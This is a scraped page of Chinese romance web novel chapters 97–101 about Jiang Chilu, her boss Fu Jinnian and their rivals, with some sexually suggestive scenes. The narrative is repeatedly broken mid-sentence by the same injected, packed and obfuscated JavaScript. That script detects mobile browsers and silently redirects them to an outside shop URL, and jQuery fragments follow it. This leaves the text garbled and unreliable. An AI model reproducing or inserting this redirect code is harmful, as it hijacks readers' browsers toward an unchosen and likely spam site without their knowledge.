视线飘忽不定地乱扫,垂眸不敢抬眼,耳根红得不行。
冰凉的手指触摸上她耳根,一声轻笑,“这么容易害羞?怎么,祁柏言不给你看?”
他的手轻轻滑落下去,拂过她薄弱的颈肉,锁骨。
停在她起伏的胸口,听她嘴硬道:“咳,好像有点热。”
她抬手给自己扇风。
傅靳年握住她手腕,拉着她的手往自己身上去,声线偏哑,“他给你摸吗?”
“......”
幽暗的环境里,只有床头的小灯散发着弱光。
江迟鹿感觉手上的温度很热,她刻意放平淡声线,“你不会是发烧了吧?这么烫,可不能传染给我。”
谁知道下一秒,骨骼感很强的手背压在她脸颊上,重重的,把她脸颊肉都挤进去了,淡淡的语调漫不经心道:“好像没有你的脸烫。”
江迟鹿:......她怀疑这货已经把自己看得透透的,在这里跟自己演戏。
她身体一直处于紧绷的状态,在心里感知到他可能只是在吓唬自己后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288969|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,松懈的动了动。
傅靳年直接拉开她的浴袍带子,“看来你已经迫不及待了。”
“谁迫不及待了!”她按住他的手,“你......先亲亲我。”
她和他幽邃的眼神对视,睫毛慌乱颤动,紧张得咽了下口水,“不行吗,我现在还没感觉。”
“没感觉?”
被她压住的手换了个方向,挑开了浴袍一边。
“诶诶诶!”江迟鹿真急了,“你听到了吗,有人按门铃,有人找你。”
确实有人在按门铃。
声音不停的响起。
傅靳年唇角勾笑,“嗯,按吧,不管。”
他的手摸着她的手腕,指腹按在她跳动的脉搏,俯下身时,从旁边拿过一个东西塞到她手里,“撕开。”
江迟鹿手心倏地被烫了一下似的哆嗦了下,塑料的东西像是带着火,她手心出了一层汗。
“我.......不会。”她声音已经不稳。
“没撕过?”傅靳年贴在她耳边轻轻道:“不是进步了吗?这么没用?”
她耳朵本来就敏感,被炙热的气息裹住,红得不行,缩着脖子往旁边躲,继续嘴硬:“你以为谁都跟你一样啊自己干活还要别人帮忙带,你是小孩吗,自己不会?”
“这不是给你加班的机会?总不能什么活都让**。”
“你妈........”
“她很好,不用问候。”他的手从她掌心滑过,拿走她掌心的,咬住一角,当着她的面开了。
“怎么看都像是我在加班。”他低着眼,完整的撕开。
外面的门铃响得更加凌乱了,很着急。
江迟鹿开口道:“万一有人找你很重要的事情呢。”
他手扶着她,“不需要你替**心。”
下一秒,傅靳年的手机铃声响了。
手机就在枕头旁边,江迟鹿摸过来一看,果然是苏轻打过来的。
她直接点了接通,挑眉递给他。
傅靳年在看到备注后,瞳色沉了沉,眼神饶有兴致盯着江迟鹿,淡淡的,却带着趣味。
“你早就知道门口的人是谁?”他手掐着她的大腿,指腹用力地陷进去,“她是你叫来的?”
第九十七章 那就继续挑衅到底吧。
“傅靳年?你在酒店吗?”苏轻的声音从手机传出来。
江迟鹿盯着他,面色平平,握着手机对准嘴边,轻轻嗲嗲的声音,“嗯,他在呢。”
傅靳年看着她闹,没有阻止,两只手测量她腰的尺寸。
更瘦了。
“江迟鹿!”那边的声音怒气冲冲的,“你......你跟傅靳年在一起?你们一起在酒店?”
江迟鹿舔了一下唇瓣:“不,他在我身上呢。”
“你!你要做什么!你故意的,故意发照片给我,就是挑拨我和傅靳年的关系,我不会让你得意的,我不会相信的,照片是你让人p的吧。”对面传过来的声音看似镇静,但语速已经暴露了。
苏轻现在很着急。
江迟鹿不知道为什么,心里有一丝快感。
她都提前拍照片发给她了,结果她连进来阻止都做不到,好像光环也不是万能的啊。
江迟鹿绕着浴袍带子在玩,慢悠悠开口:“行吧,你说是我让人p的,那就是p的吧。”
“江迟鹿,我不会轻易被你骗的!我和傅靳年的关系也不是你能随便挑拨的。”
“什么照片?”一道低哑沉稳的声音响起。
是傅靳年的声音。
空气安静了三秒。
苏轻发颤的声音从手机里传出来:“傅靳年?你在.......”
“我在酒店,我跟江迟鹿在一起,一张床上。”他声线利落,毫不犹豫。
江迟鹿握着手机的指甲紧了紧,有些泛白。
胸口有个地方跳动得很快,那砰砰砰的声音跟在脑子里跳一样。
他看着她,几乎是纵容地允许她拿着他的手机故意挑衅对方。
好像她更重要。
江迟鹿掌心的手机滑落到床上。
她想扇自己两巴掌让自己清醒。
下一秒,手机里的声音传出来,“靳年,等你爸爸回国了,我们还是会订婚的,他难道没有告诉你吗,你有愧于我,这是你要还的债。”
“没有任何债需要用我的婚姻去还。”他挂断电话。
江迟鹿指甲扣着手指,垂着眼一言不发。
傅靳年也没有再说什么,在沉默中,他下了床,进了浴室。
等了许久,他从浴室出来,看到江迟鹿洗完澡换好了自己的衣服坐在沙发,在看手机。
他走过去,“这次......让你满意了吗?”
江迟鹿顿时炸了一样,“什么满意?你这话说的我们做了一样,没有好吗!”
“你脑子里都在想什么。”他瞥她一眼,“我是说,你故意拍我的照片发给别人,又擅自接通电话,就是为了出气,这口气出的怎么样?”
“你......”江迟鹿捏了下耳朵,“我果然猜对了,你一开始就在吓唬我,你在演戏,你把我看透了。”
傅靳年俯身,双手撑在她身侧,这个姿势几乎要把她圈进怀里。
他声音带着沙哑的质感,“我没看透你,也不是吓唬你,我是真的想做,但是你不想。”
他低头轻哂,“你不想,但你的身体还挺想的,是吧?”
江迟鹿抬眼就看到他的眼神扫过自己,带着深意。
她伸手挡在他眼前:“我那只是对美好躯体的正常欲望,我也是个女人好不好,我又不是植物。”
面前的人突然转身往旁边走,拿过手机操作。
下一秒,江迟鹿的支付宝收到了转账二十万。
她瞪大眼睛不可思议地看着傅靳年,“你干嘛?”
两人也没做啥,突然给她转账是什么意思。
“你不是说要报酬吗,这是一部分,另外你想要的房子......明天我会让人把房产证给你。”
江迟鹿打断他:“停停停。”
她伸手:“为什么?我们没做什么吧?”
他为什么一副被愉悦到了然后狂砸钱的样子。
他又朝她靠近,几乎能感受到彼此的呼吸,声音带着独有的质感,“因为你对苏轻有敌意。”
他留下简单的一句话。
江迟鹿像是失了魂一样,飘回了员工宿舍。
小麦在客厅餐桌,一边追着小韩甜剧一边啃鸡爪。
“迟鹿你回来了啊?”
江迟鹿无声点头,拖着身体回了房间。
小麦奇怪地看着她,“怎么丢了魂一样。”
“啪——”
江迟鹿将自己砸在床上。
‘因为你对苏轻有敌意。’
她喉咙像是梗了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288970|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一块棉花,她感觉自己出气都好困难。
她......她对苏轻有敌意......
是的,如果没有的话,她不至于做这么恶心的事。
她真的......在一步一步踏上恶毒女配之路。
靠。
苏轻在手机里吃瘪的时候,她爽得不行。
甚至被傅靳年看了出来。
“棠——”她哭喊着给傅今棠打了个电话,“棠——”
“天啊,你怎么了?我还活着呢,你搁这哭丧。”
“棠啊,我要是哪天完蛋了,你帮我照顾好我妈,我唯一放不下的就是我妈......”
“江迟鹿,你神经吧,你惹谁了?”
她吐出一口气,“我惹你嫂子了。”
“啊?我哪来的嫂子?我不是让你当我嫂子吗?”傅今棠说,“你在哪喝酒呢。”
“你先答应我,你一定要照顾好我妈,我犯的错不能连着我妈一起遭罪。”
对面很是无语:“你先告诉我,我嫂子是谁。”
“苏轻。”
“滚,你难道不知道我最讨厌她了吗?我就是让一条狗当我嫂子我都不会让她当。”傅今棠语气一点不带开玩笑。
江迟鹿:“傅靳年愿意娶狗吗?”
傅今棠:“.......反正不管是谁都不可能是苏轻。”
江迟鹿吐出一口气,“棠啊,我今天挑衅苏轻了。”
“哦?你怎么挑衅的?”傅今棠对挑衅苏轻的话题很感兴趣。
江迟鹿叹气,“我......算了,没什么。”
这事没法跟傅今棠说,她还不知道其实自己的上司就是傅靳年呢。
傅今棠:“你找抽是不是?说一半算了?你做一半能停吗?”
江迟鹿:“.......”我今天还真停了。
“你惹了苏轻不打紧的,这样......”傅今棠给她出招,“你现在马上去勾引我哥,然后给我当嫂子,我们一起吞了财产......”
“好。”
“我就知道你不会答应......等等,你说什么?”
“我说好,我同意了。”江迟鹿从床上坐起,“反正我俩仇已经结下了,那就继续挑衅到底吧。”
第九十八章 押谁
周五下班,原来研发部门的同事邀请江迟鹿一起去俱乐部玩保龄球。
她收拾好东西准时下班到一楼门口和其他同事汇合。
祁柏言也在其中,他穿着灰色的针织高领毛衣,外面是一件大衣,孤零零站在一旁,身形出众,人来人去的门口不少小姑娘看他。
上次跟傅靳年出去后,江迟鹿在心里想了许久那件事。
祁柏言到底是故意没有给丛晚发消息,还是真的忘了。
和他相处这么多年下来,她觉得他不太可能干得出这事。
但......心底一旦怀疑了,又很难不去多想。
这几天她都没有联系过他。
江迟鹿走过去,自然地和小麦组长他们打招呼。
祁柏言在旁边看着她,见她连眼神都没有递过来,垂下了眼。
“你们围在一起做什么啊?”身后,姜则的声音传来。
江迟鹿偏头过去一看,傅靳年和姜则正走过来。
她目光顿了一下,听到耳边的组长邀请两人一起,“我们要去玩保龄球,傅总,姜助要不要一起。”
姜则看了一眼傅靳年:“傅总去吗?”
傅靳年目光淡淡扫过垂着头的江迟鹿,开口道:“走吧。”
到了地方,大家原本在一起玩着,突然听姜则说傅总玩这个很厉害。
祁柏言身边的一个助理也开口:“真的吗,我们老大玩的也挺厉害的。”
大家的目光纷纷**在了两人身上。
江迟鹿坐在休息区沙发上,拿着一瓶豆奶在喝,盯着两人。
祁柏言看向傅靳年,眼神中是其他人不懂的深意,他语调平淡,“傅总,一起比一场?”
其他的员工顿时热闹起来了,“来一场!”
“输了的等会儿请客吃饭!”
傅靳年目光落在祁柏言身上,又看了一眼在沙发上安静待着的江迟鹿。
江迟鹿嘴里那口奶都没咽下去,不知道傅靳年突然看向自己是要干嘛。
“好啊,来。”他抬手,示意工作人员。
大家都站起来从休息区走到旁边观看。
江迟鹿放下手里的豆奶,也挤过去看。
她跟两人都一起玩过,但还真不知道谁厉害点。
第一场,祁柏言的球滚过去,还剩下7瓶和10瓶没倒。
傅靳年丢出去的球直线滚到1-3球之间,随即全部都倒了。
大家发出惊呼,傅靳年抬眸扫了一眼祁柏言,十分沉冷的眼神。
祁柏言对上也不逊色,唇角勾了勾,“傅总厉害。”
他说了一句,将手中的球丢出去,这一次全中。
“哇哦,祁组长有两下子。”其他人充当热情观众。
傅靳年看了一眼江迟鹿,她跟其他人挤在一起,目光盯着祁柏言那边,看到他全中,还惊喜的握了一下拳。
他手指泛白,力度重了一些,将球抛出。
这一次没有全中,剩下一个。
有人说了一声:“这可是至关重要的最后一局!决定谁请客吃饭。”
傅靳年没有轻易动手,高长的个子站在那,目光懒懒望向祁柏言,“不如,再加一点,赢方可以问输方一个问题,输方必须回答。”
他这话说的语调平平,但是大家都莫名从中听出来了一**味。
小麦凑到江迟鹿耳边:“什么情况,怎么感觉两人跟有仇似的,之前还不是这样的,傅总不是很赏识祁老大的吗。”
“咳咳,我也不知道。”
小麦眯着眼睛盯着她,“我怎么感觉,事情跟你有关系呢。”
江迟鹿手肘戳了戳她,“专注点看吧,要开始了。”
祁柏言正对上傅靳年的眼神,丝毫不惧,声音温润,“好。”
“哇哦!”员工之间激动了起来,开始压谁赢。
组长看向江迟鹿:“小江,你押谁赢?快来,我给你登记。”
这一喊,那边两人的目光都放在江迟鹿身上了,直咄咄的。
江迟鹿恨不得钻个洞跳进去。
“哈哈哈,组长,我就不压了,我感觉两人势均力敌!”
“那不行,随便压一个吗,我们就玩玩。”
随便......
这种时候随便也会出事啊。
两个男人的视线还压在她的身上。
小麦看好戏的在旁边嗑瓜子,“迟鹿,你是压以前跟你共事的祁组长呢,还是压现在跟你共事的傅总?”
江迟鹿瞪了小麦一眼,这货!
姜则站在旁边说了一句:“祁组长现在也还算和江迟鹿在共事吧,项目那边都是江迟鹿在跟进。”
傅靳年手上的力度又紧了紧,半眯着眸子盯了一眼祁柏言。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288971|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>当初他跟自己说还喜欢前女友,所以他放心让江迟鹿跟他对接项目,两人几乎每天都要见面。
谁知道.......
这货恐怕在清吧喝酒的时候就知道自己和江迟鹿的情况了,故意套自己。
江迟鹿呼出一口气:“谁票少我压谁吧。”
秃顶的部长拿着手机晃了晃,“现在是平票哦,只有你没压了,所以你这一票至关重要!”
江迟鹿:.......呵呵。
她扯着了个干笑出来,“嗯......祁组长吧,上次祁组长请我吃饭呢。”
她笑着将自己那一票给了祁柏言。
另一边,祁柏言的目光不言而喻地落在了傅靳年身上,他嘴角勾了一下,开口道:“傅总也很厉害,您先吧。”
江迟鹿抿着唇瓣往后退了退,让公司其他员工将自己给遮住。
“砰”的一声后,是乒乒乓乓的碎声。
“哇哦,傅总Strike!”
Strike是第一球全中的意思。
江迟鹿原本躲在后面,这会儿抱着小麦的胳膊,头伸了出去,看傅靳年的第二球。
他本来个子就高,比例也好,这会儿白衬黑裤,更显比例惊人,衬衫的衣袖懒散的挽起到手肘的位置,露出劲瘦有力的小手臂,随挥动作很利落有型。
力度爆发的瞬间,球抛出一个弧度。
第二球也全中。
滴滴滴,机器在记数。
大家抬头看了一眼,傅靳年现在的分数远超祁柏言了。
秃头部长笑着看向江迟鹿,“看来你至关重要的一票要押错人了。”
江迟鹿:......干,这部长怎么感觉在针对自己。
之前不是还在讨好自己吗。
她盯过去看了一眼,部长笑眯眯的看着她。
江迟鹿倔劲上头了,她微笑道:“又没有到最后,你怎么知道祁组长不会反杀。”
江迟鹿感觉有两道很深的目光要把自己烫伤了。
她呼吸着空气,低头吸了一口豆奶,甜甜的。
傅靳年第三球依旧是全中.......
连续五球全中。
江迟鹿摸了摸人中,有点后悔刚刚说出那话了。
她抬头,看向祁柏言,希望他能给力点。
谁知道祁柏言的目光也正好看向她。
第九十九章 因为我担心她
傅靳年丢完最后一球,偏头看向江迟鹿,顺着她的目光,就看到她正在看祁柏言。
他站定在那一会儿,随即开口:“祁组长加油啊,毕竟我的助理可是把最关键的一票都压到你身上了。”
他眼神眯了眯,看向江迟鹿,“是吧?江助。”
姜则弹射性地看过去,“什么?”
傅靳年:“......没什么。”
江迟鹿见有人替自己冒头了,便一句话也没有多说了。
“我靠,祁组长也很牛啊,全中了。”
围观群众都很专注地看着祁柏言发挥。
江迟鹿却在另一边被傅靳年的眼神盯得心里发虚。
他抬步朝着她走过来,手里接过姜则递过去的矿泉水,拧开瓶盖喝了一口。
站在江迟鹿面前,“房子有满意吗?”
江迟鹿耳朵有点烫。
昨天,傅靳年的私人生活助理带她去看了几套房。
都是离公司近的高档区,最贵的那一套五千万。
说不心动肯定是假的,那房子简直从哪都挑不出一丝不满意,是她之前在N的朋友圈看到过的很憧憬的那种大房子。
“嗯......有。”她回了一句,抬眼看他,“你不生气啊?”
他身形往后靠了靠,在室内造型圆形柱体上,显得慵懒随性,目光垂在她身上,启唇问:“我生气什么?”
“我刚刚不是把最后一票.....给他了吗。”她以为他会放句狠话什么的,谁知道居然是过来问自己房子满意不满意。
傅靳年偏头往祁柏言那看去,头上的计分牌显示,祁柏言马上就要追上他的分数了。
他嘴角勾出一笑,“争这个有什么用。”
他抬手,在江迟鹿眼皮子底下拿走了她的豆奶,薄唇张开咬住了她含过的吸管。
眼神还落在她的身上,喉结滚了滚,抬起玻璃瓶看了一眼,“嗯,真甜。”
他倾身凑近江迟鹿,将豆奶塞回她掌心,凑到她耳边轻声道:“我在床上更厉害就行了。”
“?”
江迟鹿看着他说完话,无事发生一样转身回去看祁柏言丢最后一颗球。
她红着脸站在原地,盯了一眼自己手里的豆奶,又抬头看了一眼他在人群中高出一个头的脑袋。
“平分诶,好可惜。”
两人的分谁也没让谁。
但祁柏言的脸色很平淡,他目光在人群中转了一圈,看到江迟鹿呆愣地不知道在想什么。
目光重新落在傅靳年身上,他脸上则是显而易见的得意,察觉到祁柏言的视线,挑眉过去,抿了下唇角。
让他润色的唇瓣更显眼了。
祁柏言皱了一下眉,看向江迟鹿手里抱着的豆奶玻璃瓶。
最后决定两人一起请客吃饭。
就在俱乐部旁边的饭店,转移场地的时候,江迟鹿手里还拿着那瓶豆奶,小麦凑到她身边,肩膀怼了她一下,“不喝了就扔了呗,你一直拿着又不喝是做什么?”
走在两人前面的傅靳年突然回了下头,眸光扫了一眼江迟鹿,“她等会儿会喝。”
小麦愣了下,看傅靳年的背影,又歪头凑近江迟鹿,“什么意思?他为什么那么说。”
“啊?不知道,可能是随口一说,哈哈。”
她摸着肚子,走快了一点,拉着小麦绕过走到最前面,“真的好饿,等会儿我要多吃点。”
傅靳年刚刚那句说对了,这是个川菜饭店,里面的菜都是重盐重辣的,江迟鹿喝光了饭店的茶水,很快就不计较的把嘴对准了豆奶吸管。
期间,小麦把自己的茶杯放到她手边,“倒点豆奶给我喝。”
江迟鹿一愣:“啊,我喝过的。”
“没事,我不嫌弃。”小麦辣得嘴巴都肿了。
江迟鹿咳了一下,“快没了,我叫服务员再送一瓶来。”
她拿着豆奶瓶招手,“服务员,这里要一瓶豆奶,大的,冰镇的。”
“好。”
江迟鹿回过头,听到一声短促的轻笑。
她旁边坐的是组长,组长旁边是部长,傅靳年在她斜对面的位置。
她也不知道为什么,就是感觉那声不怎么清晰的笑是他发出来的。
抬眼时,和他对视一眼匆匆偏头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288972|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>又对上小麦一副我看透你了的表情。
小麦点点头,“嗯,我理解了。”
江迟鹿:“......”
“对了,平的话,那傅总最后要求的赢了的人可以问一个问题怎么办?”秃头部长喝了二两白的,在那笑呵呵的开口,“不如你们互相问一个吧?怎么样?”
傅靳年目光转向祁柏言,他开口:“这个建议不错。”
祁柏言的笑意不达眼底,他应道:“傅总先问。”
傅靳年毫不犹豫:“那天早上你是故意的?”
这个问题莫名其妙,其他人一脸茫然。
只有江迟鹿和祁柏言都愣住了。
江迟鹿看了一眼傅靳年。
他一开始就想问这个问题。
那天早上,当然就是上周她和祁柏言回家撞见他的那个早上。
“什么早上啊?故意?”其他员工处于懵逼状态。
江迟鹿也看向祁柏言,在等他的回答。
祁柏言握着筷子的手紧了紧,最终他放下筷子,对上江迟鹿的眼神,开口道:“对,我故意的。”
江迟鹿瞳孔睁大,眼睫颤了颤。
嘴角紧紧张抿在一起,一句话也没说,碗里有一块辣子鸡,她低头,夹起来往嘴里塞。
被辣到咳嗽,小麦拍了拍她的背,递给她豆奶。
江迟鹿还没有喝上。
又听祁柏言问傅靳年,“那天你为什么会在丛阿姨家。”
两人问的其实都是有答案的问题。
傅靳年没有立即回答,从进来送冰镇豆奶的服务员手里拿过饮料瓶,拿过自己空置的茶杯,倒满一杯。
他才看向祁柏言,“因为我担心她。”
大家一下子炸锅了,都出神的在脑子里分析丛阿姨是谁,那个她又是谁,祁组长和傅总是在争哪个女人。
没有人注意到傅靳年把倒满的茶杯放在玻璃转盘上。
自动转盘慢慢的转到了江迟鹿的面前。
江迟鹿盯着没动,小麦眼疾手快的拿下来,嘴角忍着笑放到她手边。
她凑到江迟鹿耳边:“看来我真的赌对了啊,老~板~娘~”
第一百章 接人
那天之后,公司的员工八卦群就没消停过,都在扒祁组长和傅总念念不忘的女人是谁。
江迟鹿混迹其中,偶尔还捧场一起猜测,大家都没怀疑到她头上。
中午,江迟鹿坐在电脑前,盯着微信群消息摸鱼。
姜则从傅靳年的办公室出来,叫住她,“你去xx酒店接个人,具体内容我发你微信上。”
“我没车啊。”江迟鹿盯着他。
下一秒,姜则抬手,手指上勾着车钥匙。
江迟鹿以为是他的,顺其自然的接过,“谢......”
“这是傅总的车,小心点开。”说完,姜则看着手里的文件往另一个方向走。
江迟鹿呆呆站在原地,盯着自己手上的车钥匙。
傅靳年的.......
不会是那辆迈巴赫吧?给自己开?
地下车库。
江迟鹿拉开车门,小心翼翼的坐进去,又轻轻的关上车门。
抬手摸了一下方向盘,车内有淡淡香味的香薰,驾驶座的头枕高了许多,她调整了一下位置。
坐在这,脑子里自然的冒出了傅靳年开车的样子。
她深吸了一口气,在心里祈祷自己可千万得稳妥着点开,别把这宝贝车给弄伤了。
这会儿过了车流高峰期,一路平稳的到了xx酒店。
姜则发来的内容是接一个叫夏珍的人。
这个人江迟鹿是不认识的,但在剧情里,这个人和自己一样是个恶毒女配。
本来剧情走到这里,自己这个恶毒女配在公司颜面尽失已经丢了工作,没多大的戏份了。
所以夏珍这个比自己还厉害的恶毒女配就出现了。
作为和傅靳年一起在M国读书的大小姐,一回国就接手了家里的重要项目,还一心喜欢傅靳年。
对于苏轻来说是一个强劲的对手。
不过自然是比不上女主的,最后频出丑料,被家族赶出,她心生嫉恨,叫人**苏轻。
这样做的下场自然是让男女主感情更上一层楼,然后她被送进监狱。
江迟鹿摇了摇头,“真要比一比的话,我的下场居然还行,毕竟擦玻璃扫大街总比蹲局子好吧......呸呸呸,这有什么好比的!”
江迟鹿到酒店门口,按门铃。
门铃响过后,却没有动静。
她又按了一次。
按第三次的时候才有人来开门。
“傅......”女人脸上的笑容在看清门口的人是江迟鹿时,顿时冷了下去,声音平淡:“你是谁。”
江迟鹿拿出自己的工作牌,“我是傅总的助理。”
“怎么叫个助理来。”夏珍的目光在她身上落了一下,“他本人呢。”
“傅总今天有其他的行程安排。”江迟鹿回答。
夏珍脸色很不好看,压在门把的手松开,双手抱胸回房,“进来吧。”
江迟鹿看她身上穿的还是浴袍,估计是还没收拾好,便听她的话走进去。
进去后也只是站在旁边等。
夏珍从卧室出来,“把我行李箱拿进来。”
江迟鹿顿了一下,转头看放在客厅沙发处的行李箱,走过去。
推着行李箱进卧室,原本打算放下后直接出去。
谁知道夏珍又开口了:“打开啊,把衣服装进去。”
江迟鹿看过去,夏珍正目若无人的脱身上的浴袍换衣服。
虽然同为女人,江迟鹿还是下意识偏开了眼神。
这个突兀的动作被夏珍捕捉到,她勾着唇角笑了一声,“怎么?自卑了吗?”
江迟鹿:“......”
夏珍套上了一身香奈儿套装,走到了江迟鹿面前,将她上下打量了一眼。
江迟鹿穿的一件大衣,只能看出很瘦,看不出身材。
夏珍在她面前一副傲然的样子,坐在床上看着她半蹲在行李箱旁边收拾衣服,慢悠悠点了根烟,问:“你是傅靳年身边的助理,那你知道他前女友是谁吗?”
江迟鹿手上的动作顿了一下,低着头眼睛都没抬,“我不知道。”
“不知道?真的假的?”
夏珍从自己的包里拿出红票子丢过去,“知道什么随便跟我说。”
江迟鹿看着自己脚边的钱,她笑了一下,“我真的不知道。”
“呵。”她不屑的笑了一下,“也是,你只是一个助理而已,能知道什么。”
她吐出的烟圈拂在江迟鹿侧脸上。
“不过你好歹也是他身边的助理,如果有什么消息的话,跟我说一声,好处少不了的。”
江迟鹿点头,“嗯好。”
她将行李箱盖上,“收拾好了,我现在送你去公司?”
“你没看见我还没化妆吗?”她灭了烟,走到梳妆镜前开始捣鼓自己那张脸。
江迟鹿收到了姜则发过来催促自己的消息。
【姜则:接到了吗?什么时候到公司,我和傅总大概十点四十回来,能卡上时间吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288973|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?】
江迟鹿看了一眼时间,现在都十点二十了,这位姐还要化妆,肯定是赶不上时间的。
【江迟鹿:她刚开始化妆,估计赶不上吧。】
【姜则:委婉的催一下,今天跟她谈完还有其他事呢,不然时间卡不上了。】
【江迟鹿:好。】
她关掉手机,看向靠窗的女人,一边刷着手机一边慢悠悠的化妆。
她走过去,“夏总,您大概要化多久呢?傅总叫我来接你的时候特意吩咐了,让我快点。”
夏珍瞥了一眼过去:“我这份工作不着急吧,他那么着急做什么......”
江迟鹿顿了一下,开口:“您不是傅总女朋友吗?”
她捂了一下嘴,“我以为傅总那么着急,是因为您是......不好意思是我误会了。”
夏珍原本淡漠的表情**迟鹿这句话哄得笑了起来,“他那么着急见我啊,呵呵,等我五分钟吧。”
她关掉手机,快速化了个淡妆。
五分钟都没到就跟江迟鹿出了酒店。
将人接到办公室的时候,傅靳年已经回来了。
还好时间不算晚。
夏珍一走进去,直接坐到了傅靳年的办公室桌上,“好久不见了。”
傅靳年神情淡然,“合同你带了吗。”
他签完一份文件,抬头。
夏珍手里什么也没拿,她笑着开口:“合同的事情不着急啊,你从M国回来后我们就没联系过了,不得好好说说话。”
“现在是工作时间,你没带的话我让人送你回去拿。”
夏珍身体往前倾了倾,“别装了,你不是想见我吗,还特意催你那小助理让我快点.....”
“傅总,我来送咖啡。”站在门口的小安端着咖啡,死命低着头。
她也不想看的啊。
这位不会是傅总那位前女友吧,等会儿可以去八卦群好好八卦一下了。
傅靳年按了按太阳穴。
小助理.......
他嘴角微不可察笑了一下,江迟鹿又坑他来了。
他起身往旁边的沙发区走过去。
夏珍跟着走过去,端起小安送进来的咖啡尝了尝。
“所以你跟我说实话,你催我快点是为了签合同还是为了见我?”夏珍微笑着盯着他。
“签合同。”傅靳年说。
“呵,无聊。”她放下手里的咖啡,耸耸肩,“你不会真跟那个苏轻对上眼了吧。”
第一百零一章 内鬼
傅靳年没有说话,他将另一份企划书递给夏珍。
夏珍接过来一边看一边问,“我听说你拒绝了和苏轻的联姻。”
傅靳年喝了一口咖啡,“嗯。”
“那我怎么还听说你有个念念不忘的女人?你到底是拒绝了还是没拒绝。”
他放下咖啡,看着她:“你听谁说的。”
夏珍挑眉,“周衍啊,他还说你可是为了她数夜醉酒,难道不是苏轻?不然你没理由拒绝苏轻啊。”
傅靳年垂下眼,拿过手机。
给周衍发消息。
【傅靳年:你跟夏珍说了什么?】
【周衍:我靠夏珍这么快就把我卖了啊,还好我没说什么我就知道她绝对卖我!我就说了你有个念念不忘的人,她问我是谁,我说不知道。】
【傅靳年:以后别多嘴。】
【周衍:这影响不到你吧,哦对了,你帮我给傅今棠发个消息。】
【傅靳年:自己发。】
【周衍:我要是能发我至于叫你?我被她拉黑了!所有联系方式全部拉黑!】
傅靳年扫了一眼就关了手机。
夏珍看完后往茶几上一丢,“还行吧,但是我现在的心情呢,不是很想谈工作。”
她翘着二郎腿,手撑在下巴上,有些好奇的问:“你怎么突然招了个女助理,还招个那么漂亮的,你以前身边不都是男的吗。”
她还因此怀疑过这货的性取向。
“用着顺手。”他敷衍了一句,抬手:“没事就请出去。”
夏珍瞥他一眼:“你还真是个工作狂,呵呵,放心吧,合同带来了,在车上,中午一起吃个饭?”
傅靳年:“没时间。”
夏珍身体往后靠了靠,“行,那我叫你那个助理陪我去吃。”
傅靳年:“姜则。”
姜则立马从外面进来,“傅总。”
“陪她吃个午饭。”
夏珍盯着他挑了下眉:“来接我的是这个吗?”
傅靳年坐回办公椅,他抬眼过去,对上夏珍带着深意的眼睛,淡淡道:“她有事。”
夏珍扯了下嘴,“看来她很不一般啊,我就知道你突然用女助理肯定不是......顺手那么简单。”
夏珍洋洋洒洒走了出去,站在江迟鹿身边,“小助理,陪我吃个饭吧。”
姜则跟在她身后,被她一个眼神劝退了,“这里没你的事。”
傅靳年从办公室追了出来,“她没空跟你吃饭。”
夏珍一副果然如此的样子,笑了笑,“好不容易见一面,你不陪我吃个饭说不过去吧。”
“既然你没空,那就让这个助理陪我咯,毕竟她来接的我,我跟她要熟悉一些。”
傅靳年看向江迟鹿:“去忙你的事。”
江迟鹿懵了一下,赶紧走人了。
